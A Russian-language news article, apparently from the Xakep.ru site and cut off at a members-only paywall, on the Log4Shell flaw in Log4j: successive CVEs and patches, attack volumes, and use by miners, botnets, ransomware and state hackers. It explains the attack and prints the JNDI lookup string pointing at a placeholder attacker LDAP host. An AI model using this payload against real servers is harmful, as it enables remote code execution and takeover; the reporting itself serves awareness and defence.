Уяз­вимость Log4Shell, недав­но обна­ружен­ная в популяр­ной биб­лиоте­ке жур­налиро­вания Log4j, которая вхо­дит в сос­тав Apache Logging Project, пред­став­ляет собой боль­шую проб­лему. Ведь слож­но наз­вать ком­панию, сайт или при­ложе­ние, которые вов­се не исполь­зуют потен­циаль­но уяз­вимые про­дук­ты. Рас­ска­зыва­ем, что извес­тно о проб­леме Log4Shell на дан­ный момент и как реаги­рует на нее индус­трия.
 

Log4Shell

В середи­не декаб­ря 2021 года раз­работ­чики Apache Software Foundation выпус­тили экс­трен­ное обновле­ние безопас­ности, исправ­ляющее 0-day-уяз­вимость (CVE-2021-44228) в популяр­ной биб­лиоте­ке жур­налиро­вания Log4j, вхо­дящей в сос­тав Apache Logging Project. Сроч­ность объ­ясня­лась тем, что ИБ‑спе­циалис­ты уже начали пуб­ликовать в откры­том дос­тупе PoC-экс­пло­иты, объ­ясняя, что исполь­зовать баг мож­но уда­лен­но, при­чем для это­го не понадо­бят­ся осо­бые тех­ничес­кие навыки.

Проб­лема получи­ла наз­вание Log4Shell и — ред­кий слу­чай! — наб­рала десять бал­лов из десяти воз­можных по шка­ле оцен­ки уяз­вимос­тей CVSS v3. Баг допус­кает уда­лен­ное выпол­нение про­изволь­ного кода (RCE), при­чем вре­донос­ный код может попасть в сис­тему самыми раз­ными спо­соба­ми, ведь для ата­ки дос­таточ­но, что­бы нуж­ная запись ока­залась в логах.

Ис­ходно проб­лема была обна­руже­на во вре­мя отло­ва багов на сер­верах Minecraft, но биб­лиоте­ка Log4j при­сутс­тву­ет прак­тичес­ки в любых кор­поратив­ных при­ложе­ниях и Java-сер­верах. К при­меру, ее мож­но най­ти поч­ти во всех кор­поратив­ных про­дук­тах, выпущен­ных Apache Software Foundation, вклю­чая Apache Struts, Apache Flink, Apache Druid, Apache Flume, Apache Solr, Apache Kafka, Apache Dubbo. Так­же Log4j активно при­меня­ют в опен­сор­сных про­ектах, нап­ример Redis, Elasticsearch, Elastic Logstash или Ghidra.

Та­ким обра­зом, ком­пании, исполь­зующие любой из этих про­дук­тов, тоже кос­венно уяз­вимы перед ата­ками на Log4Shell, хотя могут даже не знать об этом. ИБ‑спе­циалис­ты сра­зу пре­дуп­режда­ли, что перед Log4Shell могут быть уяз­вимы решения таких гиган­тов, как Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu, DIDI, JD, NetEase, и, веро­ятно, тысяч дру­гих ком­паний.

Прин­цип работы Log4Shell весь­ма прост: уяз­вимость вынуж­дает при­ложе­ния и сер­веры на осно­ве Java, где исполь­зует­ся биб­лиоте­ка Log4j, сох­ранять в логах опре­делен­ную стро­ку. Ког­да при­ложе­ние или сер­вер обра­баты­вают такие логи, стро­ка может зас­тавить уяз­вимую сис­тему заг­рузить и запус­тить вре­донос­ный скрипт из домена, кон­тро­лиру­емо­го зло­умыш­ленни­ком. Ито­гом ста­нет пол­ный зах­ват уяз­вимого при­ложе­ния или сер­вера, а ата­ка может раз­вить­ся даль­ше.

 

Патчи для патчей

Уяз­вимыми были приз­наны все вер­сии Log4J меж­ду 2.10.0 и 2.14.x, и раз­работ­чики Apache Software Foundation спеш­но пред­ста­вили пер­вый патч для CVE-2021-44228 в рам­ках релиза 2.15.0. Одна­ко, как выяс­нилось нес­коль­ко дней спус­тя, это­го ока­залось недос­таточ­но.

Де­ло в том, что пер­вое исправ­ление зак­рывало брешь, отклю­чая по умол­чанию основную фун­кци­ональ­ность биб­лиоте­ки — lookup’ы JNDI-сооб­щений. Увы, ока­залось, что этот патч сам прив­носит в код новую уяз­вимость: в кон­фигура­циях, отличных от дефол­тных, он может быть исполь­зован для «соз­дания вре­донос­ного input’а с исполь­зовани­ем шаб­лона JNDI Lookup, что может при­вес­ти к ата­ке типа „отказ в обслу­жива­нии“ (DoS)».

Вто­рой уяз­вимос­ти был прис­воен иден­тифика­тор CVE-2021-45046 (3,7 бал­ла из десяти воз­можных по шка­ле CVSS v3), и раз­работ­чикам приш­лось спеш­но выпус­тить еще один патч и вер­сию 2.16, в которой JNDI поп­росту отклю­чили окон­чатель­но.

Фак­тичес­ки вто­рой баг поз­волял пол­ностью отклю­чить уяз­вимые служ­бы до тех пор, пока жер­твы не перезаг­рузят свои сер­веры или не пред­при­мут иные дей­ствия. Хуже того, экспер­ты Cloudflare пос­пешили пре­дуп­редить, что CVE-2021-45046 уже обна­руже­на и исполь­зует­ся зло­умыш­ленни­ками, спе­циалис­ты же ком­пании Praetorian заяв­ляли, что проб­лемы вер­сии 2.15.0 мож­но исполь­зовать для рас­кры­тия информа­ции, а это может вес­ти к хищению дан­ных с уяз­вимых сер­веров. В ролике ниже иссле­дова­тели демонс­три­руют подоб­ную ата­ку на прак­тике.

Та­ким обра­зом, по сос­тоянию на 17 декаб­ря 2021 года всем рекомен­дует­ся сроч­но обно­вить Log4j до вер­сии 2.16. К при­меру, экспер­ты Агентства по кибер­безопас­ности и защите инфраструк­туры, орга­низо­ван­ного при Минис­терс­тве внут­ренней безопас­ности США (DHS CISA), и вов­се обя­зали аме­рикан­ские федераль­ные агентства и госуч­режде­ния уста­новить исправ­ления не поз­днее 24 декаб­ря 2021 года.

UPD

Че­рез нес­коль­ко часов пос­ле пуб­ликации этой статьи, раз­работ­чики Apache Software Foundation изме­нили опи­сание и уро­вень угро­зы для уяз­вимос­ти CVE-2021-45046. Баг теперь клас­сифици­рует­ся как кри­тичес­кий (9 бал­лов по шка­ле CVSS), и сооб­щает­ся, что он может исполь­зовать­ся не толь­ко для DoS-атак, но и для выпол­нения про­изволь­ного кода.

Ху­же того, Log4j вер­сии 2.15 теперь не рекомен­дует­ся исполь­зовать из‑за еще двух менее опас­ных уяз­вимос­тей CVE-2021-4104 и CVE-2021-42550, которые были устра­нены толь­ко с релизом вер­сии 2.16.

Ад­минис­тра­торам нас­тоятель­но рекомен­дует­ся при­менять толь­ко вер­сию 2.16 и сле­дить за даль­нейшим раз­вити­ем событий на стра­нице обновле­ний Log4j.

 

Майнеры, DDoS и вымогатели

Ког­да информа­ция о Log4Shell была рас­кры­та, прак­тичес­ки сра­зу иссле­дова­тели из ком­паний Bad Packets и Greynoise пре­дуп­редили, что нес­коль­ко зло­умыш­ленни­ков уже начали ска­ниро­вать сеть в поис­ках про­дук­тов, которые могут быть уяз­вимы. В пос­леду­ющие дни количес­тво атак стре­митель­но нарас­тало, а ана­лити­ки из ком­паний Cloudflare и Cisco Talos вооб­ще приш­ли к выводу, что пер­вые ска­ны и попыт­ки экс­плу­ата­ции начались еще 1–2 декаб­ря 2021 года, то есть до широкой огласки.

Немного цифр

По информа­ции экспер­тов ком­пании Check Point, для Log4Shell уже сущес­тву­ет более 60 экс­пло­итов и в некото­рые момен­ты мож­но наб­людать до 100 попыток атак на уяз­вимость в минуту.

По сос­тоянию на 14 декаб­ря раз­личные хакер­ские груп­пиров­ки уже успе­ли совер­шить поряд­ка 1 272 000 атак на Log4Shell. В свою оче­редь, китай­ская ком­пания Qihoo 360 пре­дуп­редила, что уже отсле­жива­ет как минимум де­сять хак‑групп, зло­упот­ребля­ющих уяз­вимостью.

Как объ­ясня­ли ИБ‑спе­циалис­ты, по сути, для исполь­зования бага зло­умыш­ленник может поп­росту изме­нить user agent сво­его бра­узе­ра и посетить опре­делен­ный сайт или выпол­нить поиск стро­ки, исполь­зуя фор­мат ${jndi:ldap://[URL_атакующего]}. Это при­ведет к добав­лению стро­ки в логи дос­тупа веб‑сер­вера, и, ког­да при­ложе­ние Log4j будет ана­лизи­ровать эти логи и обна­ружит стро­ку, ошиб­ка зас­тавит сер­вер выпол­нить callback или зап­рос на URL-адрес, ука­зан­ный в стро­ке JNDI. Пос­ле это­го зло­умыш­ленни­ки смо­гут исполь­зовать этот URL для переда­чи команд уяз­вимому устрой­ству (в кодиров­ке Base64 или в виде клас­сов Java).

В ито­ге уже через нес­коль­ко дней Log4Shell экс­плу­ати­рова­ли для выпол­нения шелл‑скрип­тов, которые заг­ружа­ют и уста­нав­лива­ют май­неры. В час­тнос­ти, хакеры, сто­ящие за мал­варью Kinsing и одно­имен­ным бот­нетом, активно зло­упот­ребля­ют багом и исполь­зуют Base64-пей­лоады, которые зас­тавля­ют уяз­вимый сер­вер заг­ружать и выпол­нять шелл‑скрип­ты. Скрипт уда­ляет кон­куриру­ющую мал­варь с уяз­вимого устрой­ства, а затем заг­ружа­ет и уста­нав­лива­ет вре­доно­са Kinsing, который начина­ет добывать крип­товалю­ту.

Так­же проб­лема исполь­зует­ся для уста­нов­ки мал­вари Mirai и Muhstik на уяз­вимые устрой­ства. Эти IoT-угро­зы дела­ют уяз­вимые девай­сы частью бот­нетов, так же исполь­зуя их для добычи крип­товалю­ты и про­веде­ния мас­штаб­ных DDoS-атак.

По информа­ции ана­лити­ков Microsoft, уяз­вимость в Log4j и вов­се исполь­зует­ся для раз­верты­вания маяков Cobalt Strike. И хотя на момент обна­руже­ния это­го фак­та не было доказа­тель­ств, что экс­пло­ит для Log4j взя­ли на воору­жение вымога­тели, экспер­ты писали, что раз­верты­вание маяков Cobalt Strike ясно говорит: такие ата­ки неиз­бежны.

К сожале­нию, уже ста­ло ясно, что спе­циалис­ты Microsoft были пра­вы: сот­рудни­ки ком­пании Bitdefender обна­ружи­ли пер­вый шиф­роваль­щик Khonsari, который экс­плу­ати­рует све­жий баг для вымога­тель­ских атак. Впро­чем, сле­дует отме­тить, что Khonsari ско­рее похож на вай­пера, то есть это умыш­ленно дес­трук­тивная мал­варь, которая нароч­но шиф­рует дан­ные без воз­можнос­ти вос­ста­нов­ления. Дело в том, что жер­твы не могут свя­зать­ся с опе­рато­рами вре­доно­са для вып­латы выкупа, а зна­чит, не в сос­тоянии спас­ти свою информа­цию.

Кро­ме того, по пос­ледним дан­ным все той же Microsoft, уяз­вимость уже активно при­меня­ют в сво­их ата­ках «пра­витель­ствен­ные» хакеры Китая (Hafnium), Ира­на (Phosphorus), Север­ной Кореи и Тур­ции. Сооб­щает­ся, что «активность варь­иру­ется от экспе­римен­тов во вре­мя раз­работ­ки до интегра­ции уяз­вимос­ти в про­цесс раз­верты­вания полез­ных наг­рузок и исполь­зования про­тив целей для дос­тижения задач хакеров». Упо­мяну­тые груп­пиров­ки обыч­но занима­ются вымога­тель­ски­ми опе­раци­ями, а так­же кибер­шпи­она­жем и сбо­ром дан­ных.

Так­же Microsoft заяви­ла, что наб­люда­ет за нес­коль­кими зло­умыш­ленни­ками, которые выс­тупа­ют в качес­тве бро­керов дос­тупа для опе­рато­ров вымога­телей. То есть эти люди исполь­зуют экс­пло­ит для Log4Shell, что­бы зак­реплять­ся в раз­личных кор­поратив­ных сетях, а затем про­давать получен­ный дос­туп дру­гим хак‑груп­пам.

 

Защита

К боль­шому сожале­нию, из‑за пов­семес­тной рас­простра­нен­ности Log4j ИБ‑экспер­ты уве­рены, что проб­лема Log4Shell име­ет все шан­сы стать не прос­то худ­шей уяз­вимостью 2021 года, но и самой боль­шой голов­ной болью пос­ледней пятилет­ки. Поэто­му сей­час все при­зыва­ют всех как мож­но ско­рее про­верить и защитить свои сис­темы от атак, уста­новить пат­чи и при­нять иные меры пре­дос­торож­ности. Перечис­лим, что мож­но и нуж­но для это­го сде­лать.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии